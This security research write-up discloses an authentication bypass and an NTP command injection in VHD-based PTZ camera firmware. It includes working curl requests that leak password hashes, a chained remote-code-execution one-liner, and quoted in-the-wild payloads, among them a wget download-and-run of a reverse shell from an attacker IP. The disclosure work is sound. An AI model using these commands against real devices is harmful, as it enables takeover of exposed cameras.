Introduction
The GreyNoise Labs team discovered the vulnerabilities below after pivoting off the payload flagged by Sift, an LLM-powered threat hunting tool we use to make Finding Signals in the (Grey) Noise and writing tags more efficient.
If you’re interested in how Sift boils daily ~2 million HTTP events down to ~50 that require an analyst to look at, see:
https://www.greynoise.io/blog/introducing-sift-automated-threat-hunting.
A peek at the internal Sift instance and the report that caught our attention:
After the initial investigation yielded that no such combination of URI / parameter is known to our vast historical dataset and the Internet, it was enough to get nerd sniped.
Vulnerability Details
We’d like to thank VulnCheck and especially Jacob Baines for assisting with the disclosure process.
ValueHD Corporation (VHD) is a supplier of a white-label AV equipment, including hefty-priced pan-tilt-zoom (PTZ) cameras equipped with Network Device Interface (NDI).
Known affected software / hardware: VHD PTZ camera firmware < 6.3.40 used in PTZOptics, Multicam Systems SAS, and SMTAV Corporation devices based on Hisilicon Hi3516A V600 SoC V60, V61, and V63.
Insufficient Authentication, CVE-2024-8956
The cameras feature an embedded lighttpd
web server that gives end users an opportunity to stream live video, and control / configure their devices directly from the browser. This functionality is implemented with CGI binaries that users can interact with via the documented API - [1],[2].
Access to the web GUI requires HTTP Basic Authentication. Here is a typical HTTP request sent when an authenticated user interacts with the GUI:
POST /cgi-bin/param.cgi?post_network_other_conf HTTP/1.1
Host: <SNIP>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 690
Origin: <SNIP>
DNT: 1
Authorization: Digest username="admin", realm="", nonce="66315e58:deab77eb64a41bd4e96983f1745740d9", uri="/cgi-bin/param.cgi?post_network_other_conf", algorithm=MD5, response="349a9f2f33f88116b5fa6a48123845f8", qop=auth, nc=0000001c, cnonce="b69817615c5e4b19"
Connection: close
Referer: <SNIP>
cururl=http://&httpport=80&rtspport=554&ptzport=5678&udpport=1259&pelcod_addr=0&pelcop_addr=0&rtmp1_en=0&rtmp1_mrl=rtmp%3A%2F%2F192.168.100.138%2Flive%2Fstream0&rtmp1_video_en=0&rtmp1_audio_en=0&rtmp2_en=0&rtmp2_mrl=rtmp%3A%2F%2F192.168.100.138%2Flive%2Fstream1&rtmp2_video_en=0&rtmp2_audio_en=0&rtsp_auth_en=0&onvif_en=1&onvif_auth_en=0&mcast_en=0&mcast_addr=234.1.2.88&mcast_port=6688&ntp_en=1&ntp_time_zone=GMT5&ntp_addr=time3.google.com&ntp_osd_show_1=0&ntp_osd_x_1=0&ntp_osd_y_1=0&ntp_osd_show_2=0&ntp_osd_x_2=0&ntp_osd_y_2=0&ntp_time_interval=1440&srt_en=0&srt_port=4578&srt_passsid=0&srt_passstr=1234567891&srt_latency=120&srt_mode=listener&srt_bw_precent=25&srt_server=192.168.100.1
Upon accessing the device with omitted Authorization
header, CGI API does not return 401 Unauthorized
, and exposes the sensitive information about the camera:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_device_conf"
devname="ptzoptics"
devtype="V63C"
versioninfo="SOC v6.3.32 - ARM 6.3.51THI"
serial_num="<SNIP>"
device_model="F16.HI "
This seems to be the case for multiple documented commands param.cgi
accepts, for example using get_system_conf
would leak MD5 hashes of the account passwords, 21232f297a57a5a743894a0e4a801fc3
- ‘admin’ and 084e0343a0486ff05530df6c705c8bb4
- ‘guest’ on the default configuration:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_system_conf"
username="admin"
userpasswd="21232f297a57a5a743894a0e4a801fc3"
guestname="guest"
guestpasswd="084e0343a0486ff05530df6c705c8bb4"
workmode="RTSP"
Supplying get_network_conf
returns the device’s network configuration:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_network_conf"
dhcp="0"
ipaddr="<SNIP>"
netmask="255.255.254.0"
gateway="<SNIP>"
fdns="<SNIP>"
macaddr="<SNIP>"
isgb28181="0"
httpport="80"
rtspport="554"
ptzport="5678"
udpport="1259"
visca_addr="1"
pelcod_addr="0"
pelcop_addr="0"
rtsp_auth_en="0"
rtmp1_en="0"
rtmp1_mrl="rtmp://192.168.100.138/live/stream0"
rtmp1_video_en="0"
rtmp1_audio_en="0"
rtmp2_en="0"
rtmp2_mrl="rtmp://192.168.100.138/live/stream1"
rtmp2_video_en="0"
rtmp2_audio_en="0"
onvif_en="1"
onvif_auth_en="0"
mcast_en="0"
mcast_addr="234.1.2.88"
mcast_port="6688"
activemode_en="0"
activemode_host="192.168.100.138"
activemode_port="1234"
ntp_en="1"
ntp_time_zone="GMT5"
ntp_addr="time3.google.com"
ntp_osd_show_1="0"
ntp_osd_x_1="0"
ntp_osd_y_1="0"
ntp_osd_show_2="0"
ntp_osd_x_2="0"
ntp_osd_y_2="0"
ntp_time_interval="1440"
srt_en="0"
srt_addr="127.0.0.1"
srt_port="4578"
srt_passsid="0"
srt_passstr="1234567891"
srt_latency="120"
srt_mode="listener"
srt_server="192.168.100.1"
srt_bw_precent="25"
Note the ntp_addr="time3.google.com"
value above. It’s possible to alter the configuration by using the undocumented (but revealed upon interacting with the GUI, as seen in the very beginning of this section) post_network_other_conf
command:
~ % curl "http://<SNIP>/cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=pool.ntp.org'
{"Response":{"Result":"Success"}}
~ % curl "http://<SNIP>/cgi-bin/param.cgi?get_network_conf"
<SNIP>
ntp_addr="pool.ntp.org"
<SNIP>
File Write
It was very straightforward to obtain the firmware for further analysis.
VHD cameras store their network configuration in netport.conf
file - param.cgi
binary has a few strings that refer to its location:
~/…/jffs2-root/home/www/cgi-bin % strings -n8 param.cgi | grep netport
get_netport_conf
/data/netport.conf
/data/netport.conf
/data/netport.conf
/data/netport.conf
plugin_netport.c
netport_init
netport_preHandle
netport_postHandle
netport_afterCompletion
netport_cleanup
netport_plugin_init
observer_netport
Upon inspecting the disassembly, param.cgi
unveils:
netport_preHandle()
function that checks ifget_netport_conf
orpost_network_other_conf
arguments were passed to the binary,
and
netport_postHandle()
function that callsconfigure_parse2web()
orconfigure_parse2file()
respectively.
When called from netport_postHandle()
, configure_parse2file(r0_1, "/data/netport.conf")
(unsurprisingly) parses the data supplied within the web request, and writes it to /data/netport.conf
, as seen in this pseudo C snippet:
= fopen(arg2, &data_2b8d4);
r0_1 if (r0_1 != 0)
{
(fileno(r0_1), 2);
flock(fileno(r0_1), 0);
ftruncate(fileno(r0_1), 0, 0);
lseek(*(uint32_t*)r0_15, r0_1);
fputs(fileno(r0_1), 8);
flock(r0_1);
fcloseint32_t var_14_5 = 0;
(0x7a120);
usleep("sync");
system}
In case of ntp_addr
value, neither configure_parse2file
nor any other functions perform the sanitization before writing the configuration.
Command Injection, CVE-2024-8957
The product is based on Hi3516A SoC, and v600_hi3516a
immediately stands out as the largest binary:
~/…/jffs2-root % du -ah . | sort -rh | head -n 10
37M .
24M ./home
9.5M ./lib
8.0M ./home/v600_hi3516a
3.4M ./home/www
3.2M ./home/ko
3.1M ./bin
2.7M ./lib/libndi.so.4.6.3
1.9M ./home/www/js
1.9M ./home/HZK48S
Upon taking a closer look at v600_hi3516a
it appears that there’s a function that rather carelessly runs an external ntp_client
binary with some arguments.
Relevant part:
<SNIP>
((&line + strlen(&line)), "/home/ntp_client ", 0x12, 0x12);
memcpy<SNIP>
(&line);
system<SNIP>
Full pseudo C of the function
{
void line;
(&line, 0, 0x80, 0x80);
memsetint32_t var_c = 0;
((&line + strlen(&line)), "/home/ntp_client ", 0x12, 0x12);
memcpy();
sub_b3280int32_t r1_1 = data_1347338;
("[%s %s +%-4d %s] gConfig_ntp_add…", 0xabfdf0, "ntp_process.c");
sub_b338cif (data_1347338 != 0)
{
int32_t r3_3 = data_1347338;
(&line, r3_3, &line, r3_3, "ntp_client_run", r1_1);
strcat}
if (data_134733c != 0)
{
((&line + strlen(&line)), &data_6b0e90, 2, 2, "ntp_client_run", r1_1);
memcpyint32_t r3_6 = data_134733c;
(&line, r3_6, &line, r3_6);
strcat}
();
sub_b3280char const* const var_98 = "ntp_client_run";
void* var_94_1 = &line;
("[%s %s +%-4d %s] cmd:%s\n", 0xabfdf0, "ntp_process.c");
sub_b338c(&line);
system();
sub_b3280char const* const var_98_1 = "ntp_client_run";
("[%s %s +%-4d %s] leave\n\n", 0xabfdf0, "ntp_process.c");
sub_b338creturn 0;
}
Running the ntp_client
with QEMU and passing the NTP server address as a first argument worked as expected:
~/…/jffs2-root/home % qemu-arm -cpu cortex-a7 ./ntp_client pool.ntp.org 2 3
./ntp_client: cache '/etc/ld.so.cache' is corrupt
GetNtpTime 121: HostName = pool.ntp.org
send_packet(sockfd);
get_new_time 62: new_time 1714664470 499121
settimeofdaynfail
ntp get systime success!
Passing a system command instead of the NTP server address also worked:
~/…/jffs2-root/home % ls test
ls: cannot access 'test': No such file or directory
~/…/jffs2-root/home % qemu-arm -cpu cortex-a7 ./ntp_client $(touch test) 2 3
./ntp_client: cache '/etc/ld.so.cache' is corrupt
GetNtpTime 121: HostName = 2
gethostbyname fail
GetNtpTime fail
GetNtpTime 121: HostName = 2
gethostbyname fail
GetNtpTime fail
~/…/jffs2-root/home % ls test
test
Chaining the vulnerabilities, the exploitation would be as simple as:
curl "http://<IP>/cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=$(<CMD>)'
Example
Running
~ % curl "http://<SNIP>/cgi-bin/param.cgi?post_network_other_conf" --data 'ntp_addr=$(ping${IFS}-c13${IFS}<SNIP>)'
{"Response":{"Result":"Success"}}
Properly results in callback that confirms RCE:
ubuntu@ip-172-26-10-187:~$ sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
16:25:32.213799 IP <SNIP> > ip-172-26-10-187.ec2.internal: ICMP echo request, id 45850, seq 0, length 64
<SNIP>
16:25:44.329724 IP <SNIP> > ip-172-26-10-187.ec2.internal: ICMP echo request, id 45850, seq 12, length 64
Activity in the Wild
The attack that burnt a 0-day originated from 45.128.232.229. It was observed by GreyNoise’s sensor fleet and flagged by the internal Sift instance on 2024-04-23. While we’ve been bound by the disclosure timeline, this IP stayed passive and managed to ‘age out’ from our data.
Payload example, RCE probe:
POST /cgi-bin/param.cgi?post_network_other_conf HTTP/1.1
Connection: keep-alive
Content-Length: 97
Host: <SNIP>:81
&ntp_en=1&ntp_time_zone=GMT5&ntp_addr=$(ping${IFS}-c16${IFS}209.141.35.56)&ntp_time_interval=1440
Another variation attempted using wget
to download and run a shell script located at http://209.141.35.56/a
, which in turn would fetch and run a reverse shell binary:
cd /tmp; wget http://209.141.35.56/mipsshell; chmod 777 *; ./mipsshell 209.141.35.56 5556
209.141.35.56 stayed active throughout July 2024, even after FBI seemingly seized this C2 at the time of our investigation in April:
Based on the matching IPs, it appears that Fortinet researchers described (ostensibly) the same actor(s) in June 2024: https://www.fortinet.com/blog/threat-research/growing-threat-of-malware-concealed-behind-cloud-services
Postscriptum
I received a reward under the internal GreyNoise bounty program for finding a 0-day with Sift, and decided to donate the proceedings to The Internet Archive. Their vast eBooks and Texts collection is priceless, and at GreyNoise we often use the Wayback Machine to save for posterity some pesky GitHub snippets / tweets before they disappear forever.